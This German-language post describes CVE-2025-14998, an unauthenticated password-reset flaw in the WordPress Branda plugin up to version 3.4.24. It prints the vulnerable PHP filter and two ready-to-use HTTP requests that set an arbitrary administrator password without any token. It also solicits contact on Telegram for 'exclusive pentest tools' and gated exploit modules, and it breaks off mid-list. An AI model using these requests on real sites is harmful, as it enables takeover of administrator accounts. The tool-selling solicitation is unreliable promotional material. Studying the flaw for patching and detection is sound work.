
CVE-2025-14998 Wordpress Plugin - Branda – White Label & Branding, Kostenloser Login-Seiten-Anpasser <= 3.4.24 - Nicht authentifizierte Privilegieneskalation durch Kontoübernahme
CVE-2025-14998 Das Branda-Plugin für WordPress ist in allen Versionen bis einschließlich 3.4.24 anfällig für eine Privilegieneskalation durch Kontoübernahme. Dies ist darauf zurückzuführen, dass das Plugin die Identität eines Benutzers vor der Aktualisierung seines Passworts nicht ordnungsgemäß validiert. Dadurch ist es nicht authentifizierten Angreifern möglich, beliebige Benutzerpasswörter, einschließlich der von Administratoren, zu ändern und sich so Zugang zu deren Konten zu verschaffen.
Für weitere WordPress-Schwachstellen und exklusive Pentest-Tools kontaktiere mich auf Telegram @KtN1990.
Das Plugin überschreibt die Passwortgenerierungslogik von WordPress, indem es in den random_password-Filter eingreift. Anstatt WordPress ein sicheres, zufälliges Passwort generieren zu lassen, ersetzt das Plugin dieses durch eine vom Benutzer kontrollierte Eingabe.
public function password_random_password_filter( $password ) {
global $wpdb, $signup_password_use_encryption;
if ( isset( $_GET['key'] ) && ! empty( $_GET['key'] ) ) {
$key = $_GET['key'];
} elseif ( isset( $_POST['key'] ) && ! empty( $_POST['key'] ) ) {
$key = $_POST['key'];
}
if ( ! empty( $_POST['password_1'] ) ) {
$password = $_POST['password_1'];
} elseif ( ! empty( $key ) ) {
$signup = $wpdb->get_row(
$wpdb->prepare(
"SELECT * FROM $wpdb->signups WHERE activation_key = '%s'",
$key
)
);
if ( ! ( empty( $signup ) || $signup->active ) ) {
$meta = maybe_unserialize( $signup->meta );
if ( ! empty( $meta['password'] ) ) {
if ( 'yes' === $signup_password_use_encryption ) {
$password = $this->password_decrypt( $meta['password'] );
} else {
$password = $meta['password'];
}
}
}
}
return $password;
}
POST /wp/wp-login.php?action=lostpassword HTTP/1.1
Host: example.local
Content-Type: application/x-www-form-urlencoded
user_login=admin&
redirect_to=&
password_1=EfUSmvnTun5XbvE6RvIB&
wp-submit=Get+New+Password
Der Wert von password_1 kann eine beliebige, vom Angreifer kontrollierte Zeichenfolge sein.
GET /wp/wp-login.php?login=admin&key=EfUSmvnTun5XbvE6RvIB&action=rp HTTP/1.1
Host: example.local
Es ist kein E-Mail-Zugriff oder gültiges Passwort-Reset-Token erforderlich.
Ein nicht authentifizierter Angreifer kann:

-🛡️ Ideal für: – Sicherheitsforscher – Penetrationstester – Ethische Hacker
📦 Gepflegte Linie mit ~230 Legacy-Forschungsmodulen; jüngste Verbesserungen am Scanner-Kern für Stabilität und Erkennung.
🎯 Zweck: Stellt ausschließlich für autorisierte Sicherheitstests, Ausbildung, defensive Forschung und Red-Team-Training bereit. Diese Veröffentlichung ist nicht für rechtswidrige Nutzung bestimmt. Die Verteilung ist zugangsbeschränkt – Zugang nur nach Verifizierung und Unterzeichnung einer Vereinbarung über verantwortungsvolle Nutzung / NDA.
-🛡 Verantwortungsvolle Zugriffsrichtlinie (Zusammenfassung):